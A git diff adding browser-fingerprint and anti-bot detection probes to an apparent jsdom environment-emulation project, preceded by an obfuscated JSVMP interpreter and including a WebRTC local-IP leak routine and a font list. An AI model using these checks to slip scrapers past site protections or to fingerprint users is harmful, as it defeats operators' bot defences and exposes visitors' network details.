e==le?A(r,bn)?((i=r[bn])||tn)&&((u=K(n,i[en]))||tn)&&((i=H(n,i[tn],K(n,i[rn])==xe))||tn)&&(t==xe?++u[i]:u[i]++):((i=K(n,r))||tn)&&(A(r,Ln)&&B(n,E(r,Ln),i+tn)||tn)&&(t==xe?i+tn:i):e==Zn?A(r,bn)?((i=r[bn])||tn)&&((u=K(n,i[en]))||tn)&&((i=H(n,i[tn],K(n,i[rn])==xe))||tn)&&(t==xe?--u[i]:u[i]--):((i=K(n,r))||tn)&&(A(r,Ln)&&B(n,E(r,Ln),i-tn)||tn)&&(t==xe?i-tn:i):void 0}(e,K(e,a[en]),K(e,a[tn]),a[rn]):l==Zn?R(a)<=rn&&A(a[en],yn)?G(tn,e)[en][E(G(tn,a),Ln)]=r[K(e,a[en])]:(I=E(G(tn,a),Ln))&&(G(tn,e)[en][I]=J(M(e,I,a[R(a)-rn],a[nn[qn]](en,R(a)-rn)),I)[nn[Zn]]):l==Sn?K(e,a[en])?K(e,a[tn]):K(e,a[rn]):l==wn?function(n,e,t,r,u,i){return e==Ln?+K(n,t):e==ce?-K(n,t):e==Kn?!K(n,t):e==mn?~K(n,t):e==Bn?A(t,Ln)?typeof $(n,E(t,Ln),tn):typeof K(n,t):e!=se?e==ve?A(t,Ln)?A(G(tn,n)[en],E(t,Ln))?delete G(tn,n)[en][E(t,Ln)]:(i=E(t,Ln))!=nn[gn]&&i!=nn[wn]&&!nn[le]:A(t,bn)?(u=t[bn],delete K(n,u[en])[u=H(n,u[tn],K(n,u[rn])==xe)]):(K(n,t),!0):void 0:void K(n,t)}(e,K(e,a[en]),a[tn]):l==Gn?function(n,e,t,r){return e==wn?t||K(n,r):e==$n?t&&K(n,r):void 0}(e,K(e,a[en]),K(e,a[tn]),a[rn]):l==rn?R(a)<=rn&&A(a[en],yn)?r[K(e,a[en])]:J(M(e,E(G(tn,a),Ln),a[R(a)-rn],a[nn[qn]](en,R(a)-rn)))[nn[Zn]]:l==Hn?J(M(e,nn[Yn],G(tn,a),a[nn[qn]](en,R(a)-tn)))[nn[Zn]]:l==xn?G(tn,e)[un]:l==bn?((q=H(e,a[tn],K(e,a[rn])==xe))||tn)&&((F=K(e,a[en],typeof u!=nn[an]?tn:u+tn,z=o||[],c))||tn)&&(!u||d?z[nn[Hn]](function(n){return F=F[en],n})[nn[Hn]](function(n){F=F[n]})&&c&&c[Gn]?function(){return f[nn[Tn]][nn[Mn]][nn[hn]](F[q],F,arguments)}:F[q]:z[nn[cn]](q)&&[F,F[q]]):l==_n?(P=typeof u==nn[te]?u:{})&&(P[Gn]=tn)&&(S=K(e,G(tn,a),en,en,P))&&(N=a[nn[qn]](en,-tn)[nn[Hn]](function(n){return A(n,jn)?L=K(e,n):K(e,n)}))&&(N=L?N[nn[qn]](en,R(N)-tn)[nn[vn]](L):N)&&!(n>y)&&f[nn[Tn]][nn[Mn]][nn[hn]](S,undefined,N):l==$n?new(f[nn[Tn]][nn[In]][nn[Mn]](K(e,G(tn,a)),[en][nn[vn]](a[nn[qn]](en,R(a)-tn)[nn[Hn]](function(n){return K(e,n)})))):void 0}(Rn=27)&&(on=5)&&(pn=10)&&(En=30)&&(vn=17)&&(Fn=31)&&(ln=8)&&(bn=16)&&(Dn=36)&&(xn=20)&&(ue=56)&&(Gn=39)&&(an=9)&&(kn=19)&&(Bn=35)&&(Un=38)&&(mn=12)&&(Hn=40)&&(Xn=49)&&(rn=2)&&(le=62)&&(Tn=46)&&(Cn=24)&&(Vn=47)&&(tn=1)&&!(en=0)&&(An=29)&&(zn=28)&&(un=3)&&(qn=26)&&(_n=22)&&(sn=11)&&(In=25)&&($n=34)&&(Pn=32)&&(yn=14)&&(cn=6)&&(Mn=37)&&(Jn=41)&&(Ln=43)&&(Sn=33)&&(Re=123)&&(re=55)&&(fn=4)&&(ke=73)&&(me=66)&&(ae=63)&&(ne=52)&&(fe=58)&&(On=21)&&(Zn=51)&&(hn=15)&&(dn=7)&&(je=78)&&(be=70)&&(ee=53)&&(ye=68)&&(pe=64)&&(Nn=44)&&(_e=77)&&(he=69)&&(gn=13)&&(de=61)&&(se=65)&&(Yn=50)&&(ze=127)&&(Oe=76)&&(ve=71)&&(wn=18)&&(Ie=91)&&(Qn=45)&&(ge=67)&&(oe=59)&&(Ce=79)&&(te=54)&&(xe=74)&&(jn=23)&&(Kn=42)&&(ie=57)&&(Wn=48)&&(qe=97)&&(we=72)&&(ce=60)&&(nn="ReferenceError(g(c(call([(lastIndexOf(push(pop(toString(number(valueOf(indexOf(window(module(arguments(cilame_call(charCodeAt(concat(exports(pow(match([0-9a-f]{2}(Date(Math(hasOwnProperty(bind(slice(defineProperty(BigInt(parseFloat(Object(filter(v(configurable(String(keys(length(apply(%$&(vmpzl_arguments(map((]( is not defined(join(get(prototype(undefined(enumerable(replace(null(_(set(decodeURIComponent(object(charAt(0(parseInt(RegExp(Function(fromCharCode(*(require($".split("("))&&(i=typeof global==nn[Vn]?window:global)&&(L=new i[nn[_n]])&&(R=$e[nn[In]](tn,L,he))&&(E=$e[nn[In]](tn,L,In))&&(S=$e[nn[In]](tn,L,Un))&&(A=$e[nn[In]](tn,L,Ce))&&(D=$e[nn[In]](tn,L,oe))&&(M=$e[nn[In]](tn,L,Yn))&&(U=$e[nn[In]](tn,L,ae))&&(G=$e[nn[In]](tn,L,sn))&&(H=$e[nn[In]](tn,L,ee))&&(J=$e[nn[In]](tn,L,on))&&(N=$e[nn[In]](tn,L,ne))&&(Q=$e[nn[In]](tn,L,Vn))&&(T=$e[nn[In]](tn,L,pe))&&(X=$e[nn[In]](tn,L,de))&&(Y=$e[nn[In]](tn,L,be))&&(f=i[nn[oe]])&&(o=i[nn[$n]][nn[ce]])&&(c=i[nn[ee]])&&(d=i[nn[en]])&&(l=i[nn[En]][nn[Bn]])&&(a=i[nn[An]])&&(p=i[nn[ie]])&&(s=i[nn[jn]][nn[kn]])&&(m=i[nn[fe]])&&(f[nn[Tn]][nn[hn]]=f[nn[Tn]][nn[un]])&&(q=i[nn[En]][nn[Tn]][nn[Cn]])&&(y=tn)&&(I=tn)&&(h=[])&&(b=[])&&((g=i[nn[zn]])||tn)&&(z=Be[nn[In]](tn,L,je))&&(F=Be[nn[In]](tn,L,xn))&&(P=Be[nn[In]](tn,L,hn))&&($=Be[nn[In]](tn,L,Pn))&&(B=Be[nn[In]](tn,L,qn))&&(V=Be[nn[In]](tn,L,me))&&(W=Be[nn[In]](tn,L,Nn))&&(K=K[nn[In]](tn,L))&&(v=z(Re,ze)+z(Bn,Gn)+z(Hn,Ie)+z(qe,Re))&&(w=z(Hn,Ie))&&(k=z(Re,ze)+z(Bn,Gn)+z(qe,Re))&&(x=nn[fn]+k+nn[Kn]+nn[de]+nn[fn]+w+nn[Kn])&&(O=m(nn[On],nn[tn]))&&(_=[[i,null,null,e,t,en,en,arguments,{},L]])&&(j=_[en][ln])&&K(_,function De(n,e,t){return function(n,e,t,r,u,i,f,o,c,d){if(t==an||t==Ln||t==dn||t==Yn||t==yn||t==Dn||t==en||t==gn)return(r={})&&((r[nn[rn]]=t)||tn)&&(u=function(n,e,t){return(t=P(e))&&[Y(h[t[en]],t[en],n),t[en],t[tn]]}(t,e[nn[qn]](y,pn)))&&((r[t]=u[en])||tn)&&[function(n,e,t,r){return((r=b[nn[sn]](n[e]))||tn)&&((r==-tn?b[nn[cn]](n[e])&&(n[e]=R(b)-tn):n[e]=r)||tn)&&((n[nn[Pn]]=t)||tn)&&n}(r,t,u[tn]),u[rn]];for((f=[])&&(r={})&&(i=S(e,y)[en]);R(i);)(o=v[nn[sn]](i[nn[qn]](en,y)))!=an&&o!=Ln&&o!=dn&&o!=Yn&&o!=yn&&o!=Dn&&o!=en&&o!=gn?(d=S(i,y,tn))&&f[nn[cn]](De(n,i))&&(i=i[nn[qn]](d[tn])):(c=De(n,i))&&f[nn[cn]](c[en])&&(i=i[nn[qn]](y+c[tn]));return(r[t]=f)&&((r[nn[rn]]=t)||tn)&&r}(n,e,v[nn[sn]](e[nn[qn]](en,y)))}(L,W(u)))}("jsvmpzl:ver.1.5.1", this, typeof arguments!="undefined"?arguments:void 0, [], "}T~F%{ije*smjvq>v$~s&L#hs&v>$ll#k4bl}deHji|iDshgusYtorxbAvcmau,ry$w$+%zi|a8spctd8t%%&p/|{}ygt<|~xxxqDt$n##.|~gj%k-|tbiudQ||~l~yK|orynkC|~{btt:|lmed3<|UT|R6|O}|L#|GQ8?0)+4*K*K,3*K(K(Q>?6)+004*K*K-))K,3*K(K(QN?<).06004*K*K-))K/))R0T462R10.K2K3))K(K(") + + + diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo5.js b/env_xbb_lastest_jsdom/knowledge/检测/demo5.js new file mode 100644 index 00000000..bd248e71 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo5.js @@ -0,0 +1,23 @@ +function test_getOwnPropertyDescriptor() { + if (Object.getOwnPropertyDescriptor(window, 'document').set) { + console.log(`Object.getOwnPropertyDescriptor(window,'document') 可以被检测`); + } else { + endsign += 'h' + let get_name = Object.getOwnPropertyDescriptor(window, 'document').get + '' + if (get_name == 'function get document() { [native code] }') { + endsign += 'I' + } else { + console.log(`Object.getOwnPropertyDescriptor(window,'document').get 可以被检测`); + + } + } + try { + Object.getOwnPropertyDescriptor(window, 'document').get() + console.log(`Object.getOwnPropertyDescriptor(window,'document').get() 可以被检测`); + + } catch { + endsign += 'J' + + } +} +test_getOwnPropertyDescriptor() diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo6.js b/env_xbb_lastest_jsdom/knowledge/检测/demo6.js new file mode 100644 index 00000000..3c006731 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo6.js @@ -0,0 +1,74 @@ + + +function test_node() { + // delete globalThis[Symbol.toStringTag]; + try { + if (global) { + console.log(`global 被检测`); + } + } catch { + try { + if (GLOBAL) { + console.log(`GLOBAL 被检测`); + } + } catch { + try { + if (Buffer) { + console.log(`Buffer 被检测`); + } + } catch { + try { + if (process) { + console.log(`process 被检测`); + } + } catch { + try { + if (root) { + console.log(`root 被检测`); + } + } catch { + try { + if (WindowProperties) { + console.log(`WindowProperties 被检测`); + } + } catch { + try { + if (global) { + console.log(`global 被检测`); + } + } catch { + try { + if (global) { + console.log(`global 被检测`); + } + } catch { + try { + if (global) { + console.log(`global 被检测`); + } + } catch { + try { + if (VMError) { + console.log(`VMError 被检测`); + } + } catch { + try {} catch { + try {} catch {} + } + } + } + } + } + } + } + } + } + } + } + + if (Object.getOwnPropertyDescriptor(window, 'Function').value + '' == 'function Function() { [native code] }') { + } else { + console.log(`Object.getOwnPropertyDescriptor(window,'Function').value +'' 可以被检测`); + } +} +test_node() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo7.js b/env_xbb_lastest_jsdom/knowledge/检测/demo7.js new file mode 100644 index 00000000..2a404163 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo7.js @@ -0,0 +1,14 @@ +function test_createEvent() { + var MouseEvent__ = document.createEvent("MouseEvent"); + + if (MouseEvent__ && MouseEvent__.__proto__ + '' == '[object MouseEvent]') { + } else { + console.log(`document.createEvent("MouseEvent"); 可以被检测`); + } + + if (Object.getOwnPropertySymbols(navigator.getBattery()).length > 0) { + console.log(`Object.getOwnPropertySymbols(navigator.getBattery()) 可以被检测`); + } +} + +test_createEvent() diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo8.js b/env_xbb_lastest_jsdom/knowledge/检测/demo8.js new file mode 100644 index 00000000..5a262c94 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo8.js @@ -0,0 +1,12 @@ + +let test__ = function() {} +Object.defineProperty(this, test__, { + configurable: true, + enumerable: true, + writable: true, +}) +if (test__ + '' == 'function() {}') { +} else { + console.log(`test_this 可以被检测`); +} + diff --git a/env_xbb_lastest_jsdom/knowledge/检测/elementtagname.js b/env_xbb_lastest_jsdom/knowledge/检测/elementtagname.js new file mode 100644 index 00000000..ad3821c7 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/elementtagname.js @@ -0,0 +1,46 @@ + +function test_getElementsByTagName() { + let divHTMLCollection = document.getElementsByTagName('div') + debugger + if (!(divHTMLCollection[0].parentNode.parentNode.parentNode==divHTMLCollection[0].parentNode.parentNode.parentNode)){ + console.log('divHTMLCollection[0].parentNode.parentNode.parentNode 可以被检测'); + } + let bobocollect = divHTMLCollection.length + if (divHTMLCollection.__proto__ + '') { + if (divHTMLCollection[0].parentNode.parentNode.parentNode.nodeName == '#document') { + if (divHTMLCollection[0].parentNode.parentNode.parentNode.parentNode == null) { + endsign += 'B' + } else { + console.log(`divHTMLCollection[0].parentNode.parentNode.parentNode.parentNode 可以被检测`); + + } + } else { + console.log(`divHTMLCollection[0].parentNode.parentNode.parentNode.nodeName=='#document' 可以被检测`); + } + if (divHTMLCollection[0].parentElement.parentElement.parentElement == null + ) { + endsign += 'C' + } else { + console.log(`divHTMLCollection[0].parentElement.parentElement.parentElement 可以被检测`); + + } + + divHTMLCollection[0].parentNode.removeChild(divHTMLCollection[0]) + divHTMLCollection[0].parentNode.removeChild(divHTMLCollection[0]) + if (bobocollect > divHTMLCollection.length) { + endsign += 'D' + } else { + console.log(`divHTMLCollection[0].parentNode.removeChild 可以被检测`); + + } + if (divHTMLCollection[0].innerHTML.indexOf('bobo2') > 0) { + endsign += 'D' + } else { + console.log(`divHTMLCollection[0].innerHTML 可以被检测`); + } + } else { + console.log(`document.getElementsByTagName 原型可以被检测`); + } +} + +test_getElementsByTagName() diff --git a/env_xbb_lastest_jsdom/knowledge/检测/iframe检测.js b/env_xbb_lastest_jsdom/knowledge/检测/iframe检测.js new file mode 100644 index 00000000..65a0d3e8 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/iframe检测.js @@ -0,0 +1,287 @@ +var global_0; +var global_1; +var global_2; +var global_3; + +function encrypt(_0x5a93d8) { + global_0 = 0; + local_2 = global_0; + global_0 = this || window; + global_0 = typeof global_0; + global_1 = "undefined"; + global_1 = global_0 !== global_1; + local_3 = navigator; + local_4 = Object; + global_1 && (global_0 = eval('window;'), local_2 = global_0); + window = {}; + Object["keys"](window)["length"] === 0 && (global_0 = "\t", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + + var _0x93b63 = document["createElement"]("iframe"); + // debugger + !_0x93b63 && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + var _0xafd265 = _0x93b63["contentWindow"]; + _0xafd265 && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); +// debugger + document["body"]["append"](_0x93b63); + // debugger + if (!_0x93b63["contentWindow"]) { + global_0 = ""; + global_1 = _0x5a93d8; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + global_0 = Object["keys"](_0x93b63["contentWindow"])["length"]; + global_0 = global_0 < 200; + + if (global_0) { + global_0 = ""; + global_1 = _0x5a93d8; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + var _0x1eff4c = _0x93b63["contentDocument"]; + + var _0x297149 = _0x1eff4c["createElement"]("div"); + + var _0x134a10 = _0x1eff4c["createElement"]("div"); + + _0x297149["innerHTML"] += "dtadtadta"; + + _0x134a10["appendChild"](_0x297149); + + if (_0x134a10["outerHTML"] != "
dtadtadta
") { + global_0 = ""; + global_1 = _0x5a93d8; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + !_0x134a10["contains"](_0x297149) && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + document["body"]["removeChild"](_0x93b63); + + var _0x557fc1 = new Date(); + + _0x557fc1["setTime"](_0x557fc1["getTime"]() - 1); +debugger + _0x1eff4c["cookie"] = "dtacookie=666;expires=" + _0x557fc1["toGMTString"](); + + if (_0x1eff4c["cookie"]["includes"]("dtacookie=666")) { + global_0 = ""; + global_1 = _0x5a93d8; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + var _0x423ca7 = new Date(); + + _0x423ca7["setTime"](_0x423ca7["getTime"]() + 10000000); + + _0x1eff4c["cookie"] = "dtacookie2=888;expires=" + _0x423ca7["toGMTString"](); + document["cookie"]["includes"]("expires=") && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + typeof Object["getOwnPropertyDescriptors"](navigator["__proto__"])["userAgent"]["get"] !== "function" && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + global_0 = local_4; + global_0 = global_0["getOwnPropertyDescriptor"]; + global_0 = !global_0; + + if (global_0) { + global_0 = ""; + global_1 = _0x5a93d8; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + global_0 = local_3; + global_0 = "userAgent"; + global_0 = local_4; + global_3 = global_0["getOwnPropertyDescriptor"](global_0, global_0); + global_3 && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + global_0 = local_3; + global_0 = "webdriver"; + global_0 = local_4; + global_3 = global_0["getOwnPropertyDescriptor"](global_0, global_0); + global_3 && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + global_0 = "[native code]"; + global_0 = local_4; + global_0 = global_0["getOwnPropertyDescriptor"]; + global_0 = eval('Function;'); + global_0 = global_0["prototype"]; + global_0 = global_0["toString"]; + global_3 = global_0["call"](global_0); + global_3 = global_3["indexOf"](global_0); + global_0 = 0; + global_0 = global_3 < global_0; + global_0 && (global_0 = "", global_1 = _0x5a93d8, global_1 = global_0 + global_1, _0x5a93d8 = global_1); + global_0 = undefined; + global_1 = 42; + global_1 = global_0 || global_1; + local_1 = global_1; + global_0 = ''; + var _0xaeb324 = global_0; + global_0 = _0x5a93d8; + global_0 = global_0["length"]; + global_1 = 3; + global_1 = global_0 % global_1; + var _0x1b82eb = global_1; + global_0 = _0x1b82eb; + global_1 = 1; + global_1 = global_0 == global_1; +debugger + if (global_1) { + global_0 = _0x5a93d8; + global_1 = "\0\0"; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + global_0 = _0x1b82eb; + global_1 = 2; + global_1 = global_0 == global_1; + + if (global_1) { + global_0 = _0x5a93d8; + global_1 = "\0"; + global_1 = global_0 + global_1; + _0x5a93d8 = global_1; + } + + global_0 = 0; + var _0x3747c7 = global_0; + global_0 = "RuPtXwxpThIZ0qyz_9fYLCOV8B1mMGKs7UnFHgN3iDaWAJE-Qrk2ecSo6bjd4vl5"; + var _0x77e425 = global_0; + global_0 = _0x5a93d8; + global_0 = global_0["length"]; + global_1 = 1; + global_1 = global_0 - global_1; + var _0x19eed7 = global_1; + global_0 = _0x19eed7; + global_1 = 0; + global_1 = global_0 >= global_1; + + var _0x50b502; + + var _0x452244; + + for (; global_1;) { + global_0 = 8; + global_1 = _0x3747c7; + global_2 = 1; + global_2 = global_1 + global_2; + _0x3747c7 = global_2; + global_2 = 4; + global_2 = global_1 % global_2; + global_1 = global_0 * global_2; + _0x50b502 = global_1; + global_0 = _0x19eed7; + global_0 = _0x5a93d8; + global_3 = global_0["charCodeAt"](_0x19eed7); + global_0 = local_1; + global_1 = _0x50b502; + global_1 = global_0 >>> global_1; + global_0 = 255; + global_0 = global_1 & global_0; + global_0 = global_3 ^ global_0; + _0x452244 = global_0; + global_0 = 8; + global_1 = _0x3747c7; + global_2 = 1; + global_2 = global_1 + global_2; + _0x3747c7 = global_2; + global_2 = 4; + global_2 = global_1 % global_2; + global_1 = global_0 * global_2; + _0x50b502 = global_1; + global_0 = local_1; + global_1 = _0x50b502; + global_1 = global_0 >>> global_1; + global_0 = 255; + global_0 = global_1 & global_0; + _0x50b502 = global_0; + global_0 = _0x452244; + global_1 = _0x19eed7; + global_2 = 1; + global_2 = global_1 - global_2; + global_1 = _0x5a93d8; + global_3 = global_1["charCodeAt"](global_2); + global_1 = _0x50b502; + global_1 = global_3 ^ global_1; + global_2 = 8; + global_2 = global_1 << global_2; + global_1 = global_0 | global_2; + _0x452244 = global_1; + global_0 = 8; + global_1 = _0x3747c7; + global_2 = 1; + global_2 = global_1 + global_2; + _0x3747c7 = global_2; + global_2 = 4; + global_2 = global_1 % global_2; + global_1 = global_0 * global_2; + _0x50b502 = global_1; + global_0 = local_1; + global_1 = _0x50b502; + global_1 = global_0 >>> global_1; + global_0 = 255; + global_0 = global_1 & global_0; + _0x50b502 = global_0; + global_0 = _0x452244; + global_1 = _0x19eed7; + global_2 = 2; + global_2 = global_1 - global_2; + global_1 = _0x5a93d8; + global_3 = global_1["charCodeAt"](global_2); + global_1 = _0x50b502; + global_1 = global_3 ^ global_1; + global_2 = 16; + global_2 = global_1 << global_2; + global_1 = global_0 | global_2; + _0x452244 = global_1; + global_0 = _0xaeb324; + global_1 = _0x452244; + global_2 = 63; + global_2 = global_1 & global_2; + global_3 = _0x77e425["charAt"](global_2); + global_1 = global_0 + global_3; + _0xaeb324 = global_1; + global_0 = _0xaeb324; + global_1 = _0x452244; + global_2 = 6; + global_2 = global_1 >>> global_2; + global_1 = 63; + global_1 = global_2 & global_1; + global_3 = _0x77e425["charAt"](global_1); + global_1 = global_0 + global_3; + _0xaeb324 = global_1; + global_0 = _0xaeb324; + global_1 = _0x452244; + global_2 = 12; + global_2 = global_1 >>> global_2; + global_1 = 63; + global_1 = global_2 & global_1; + global_3 = _0x77e425["charAt"](global_1); + global_1 = global_0 + global_3; + _0xaeb324 = global_1; + global_0 = _0xaeb324; + global_1 = _0x452244; + global_2 = 18; + global_2 = global_1 >>> global_2; + global_1 = 63; + global_1 = global_2 & global_1; + global_3 = _0x77e425["charAt"](global_1); + global_1 = global_0 + global_3; + _0xaeb324 = global_1; + global_0 = _0x19eed7; + global_1 = 3; + global_1 = global_0 - global_1; + _0x19eed7 = global_1; + global_0 = _0x19eed7; + global_1 = 0; + global_1 = global_0 >= global_1; + } + + return _0xaeb324; +} + +window["vmpencrypt"] = encrypt; +console.log(window["vmpencrypt"]("519737f56c937870a72239bed807aa7c")); // a0SqUJeqQ7FYghOyBTF0oAX0o7Yp2H28MLFBoHrqbX2p 正确环境值 \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/obj_proto.js b/env_xbb_lastest_jsdom/knowledge/检测/obj_proto.js new file mode 100644 index 00000000..b150aa74 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/obj_proto.js @@ -0,0 +1,35 @@ + +function test_obj_proto() { + try { + var bobo__ = {} + bobo__.__proto__ = location + bobo__.href + console.log(`bobo__={};bobo__.__proto__=location 可以被检测`); + + } catch { + // endsign += 'E' + } + + try { + var bobo__2 = {} + bobo__2.__proto__ = Document.prototype + bobo__2.activeElement + console.log(`bobo__2={};bobo__2.__proto__=Document.prototype 可以被检测`); + + } catch { + // endsign += 'F' + } + + try { + var cc={} + cc.__proto__=Storage.prototype + cc.setItem('name',123) + console.log(`cc={};cc.__proto__= Storage.prototype可以被检测`); + + } catch { + // endsign += 'E' + } + +} + +test_obj_proto() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/testsettime.js b/env_xbb_lastest_jsdom/knowledge/检测/testsettime.js new file mode 100644 index 00000000..f232b3fa --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/testsettime.js @@ -0,0 +1,92 @@ + +function test_settime() { + //setimetime检测 + var testTimeList = [] + var testTimeList2 = [] + var testTimeList3 = [] + setTimeout(function() { + testTimeList.push(1) + }, 100) + + //电池检测 + try { + if (navigator.getBattery().__proto__ + '' == '[object Promise]') { + if (navigator.getBattery().then().__proto__ + '' == '[object Promise]') { + navigator.getBattery().then(function(res) { + endsign += 0 + if (testTimeList.length > 0) { + endsign += 0 + console.log(`setTimeout 可以被检测`); + } + if (res.level) {} else { + console.log(`navigator.getBattery() level可以被检测`); + } + }) + } else { + console.log('navigator.getBattery() then可以被检测'); + + } + + } else { + console.log('navigator.getBattery() 可以被检测'); + } + } catch { + log(`navigator.getBattery 未实现`, ) + } + + setTimeout(function() { + if (testTimeList.length) { + endsign += '5_' + + if (testTimeList2.length) { + console.log(`setTimeout0 可以被检测`); + + } + } else { + console.log(`setTimeout1 可以被检测`); + + } + }, 100) + + setTimeout(function() { + testTimeList2.push(1) + if (testTimeList.length) { + endsign += '6_' + + testTimeList2.push(1) + } else { + console.log(`setTimeout2 可以被检测`); + + } + }, 200) + + setTimeout(function() { + if (testTimeList2.length) { + endsign += '7_' + + } else { + console.log(`setTimeout3 可以被检测`); + + } + }, 200) + + setTimeout(function() { + endsign += '9_' + testTimeList3.push(1) + }, 200) + setInterval(function() { + endsign += '9__' + testTimeList3.push(1) + }, 700) + clearTimeout(5) + clearTimeout(6) + setTimeout(function() { + endsign += 'A' + if (testTimeList3.length > 0) { + console.log(`clearTimeout 可以被检测`); + } + console.log(btoa(endsign)) + }, 200) + +} +test_settime() diff --git a/env_xbb_lastest_jsdom/knowledge/检测/webrtc.js b/env_xbb_lastest_jsdom/knowledge/检测/webrtc.js new file mode 100644 index 00000000..467944a5 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/webrtc.js @@ -0,0 +1,80 @@ + +function test_get_ip() { + //webrtc + function getIPs(callback) { + var ip_dups = {}; + + var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + var useWebKit = !!window.webkitRTCPeerConnection; + + if (!RTCPeerConnection) { + var win = iframe.contentWindow; + RTCPeerConnection = win.RTCPeerConnection || win.mozRTCPeerConnection || win.webkitRTCPeerConnection; + useWebKit = !!win.webkitRTCPeerConnection; + } + + var mediaConstraints = { + optional: [{ + RtpDataChannels: true + }] + }; + + var servers = { + iceServers: [{ + urls: "stun:stun.l.google.com:19302" + }] + }; + + var pc = new RTCPeerConnection(servers,mediaConstraints); + + function handleCandidate(candidate) { + var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/ + var ip_addr = ip_regex.exec(candidate) && ip_regex.exec(candidate)[1]; + + if (!ip_addr) + return; + if (ip_dups[ip_addr] === undefined) + callback(ip_addr); + + ip_dups[ip_addr] = true; + } + + pc.onicecandidate = function(ice) { + if (ice.candidate) + handleCandidate(ice.candidate.candidate); + } + ; + + pc.createDataChannel(""); + + pc.createOffer(function(result) { + + pc.setLocalDescription(result, function() {}, function() {}); + + }, function() {}); + + setTimeout(function() { + var lines = pc.localDescription.sdp.split('\n'); + + lines.forEach(function(line) { + if (line.indexOf('a=candidate:') === 0) + handleCandidate(line); + }); + }, 1000); + } + + getIPs(function(ip) { + + let res = /^((\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d|[1-9]\d|1\d\d|2[0-4]\d|25[0-5])$/.test(ip.toString()) + //true + if (res) { + console.log(`test_get_ip 检测通过`) + + } else { + console.log(`test_get_ip 可以被检测`) + } + + }); +} + +test_get_ip() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/字体指纹.js b/env_xbb_lastest_jsdom/knowledge/检测/字体指纹.js new file mode 100644 index 00000000..9f026682 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/字体指纹.js @@ -0,0 +1,27 @@ +function test_font_fp() { + let fonts = []; + let testFont = "DFPhelvetica;Tibetan Machine Uni;Cooljazz;Verdana;Helvetica Neue LT Pro 35 Thin;tahoma;LG Smart_H test Regular;DINPro-light;Helvetica LT 43 Light Extended;HelveM_India;SECRobotoLight Bold;OR Mohanty Unicode Regular;Droid Sans Thai;Kannada Sangam MN;DDC Uchen;clock2016_v1.1;SamsungKannadaRegular;MI LANTING Bold;SamsungSansNum3L Light;verdana;HelveticaNeueThin;SECFallback;SamsungEmoji;Telugu Sangam MN;Carrois Gothic SC;Flyme Light Roboto Light;SoMA-Digit Light;SoMC Sans Regular;HYXiYuanJ;sst;samsung-sans-num4T;gm_mengmeng;Lohit Kannada;times new roman;samsung-sans-num4L;serif-monospace;SamsungSansNum-3T Thin;ColorOSUI-XThin;Droid Naskh Shift Alt;SamsungTeluguRegular;Bengali OTS;MI LanTing_GB Outside YS;FZMiaoWu_GB18030;helve-neue-regular;SST Medium;Courier New;Khmer Mondulkiri Bold;Helvetica LT 23 Ultra Light Extended;Helvetica LT 25 Ultra Light;Roboto Medium;Droid Sans Bold;goudy;sans-serif-condensed-light;SFinder;noto-sans-cjk-medium;miui;MRocky PRC Bold;AndroidClock Regular;SamsungSansNum-4L Light;sans-serif-thin;AaPangYaer;casual;BN MohantyOT Bold;x-sst;NotoSansMyanmarZawgyi;Helvetica LT 33 Thin Extended;AshleyScriptMT Alt;Noto Sans Devanagari UI;Roboto Condensed Bold;Roboto Medium Italic;miuiex;Noto Sans Gurmukhi UI;SST Vietnamese Light;LG_Oriya;hycoffee;x-sst-ultralight;DFHeiAW7-A;FZZWXBTOT_Unicode;Devanagari Sangam MN Bold;sans-serif-monospace;Padauk Book Bold;LG-FZYingBiKaiShu-S15-V2.2;LG-FZYingBiKaiShu-S15-V2.3;HelveticaNeueLT Pro 35 Th;Microsoft Himalaya;SamsungSansFallback;SST Medium Italic;AndroidEmoji;SamsungSansNum-3R;ITC Stone Serif;sans-serif-smallcaps;x-sst-medium;LG_Sinhalese;Roboto Thin Italic;century-gothic;Clockopia;Luminous_Sans;Floridian Script Alt;Noto Sans Gurmukhi Bold;LTHYSZK Bold;GS_Thai;SamsungNeoNum_3T_2;Arabic;hans-sans-normal;Lohit Telugu;HYQiHei-50S Light;Lindsey 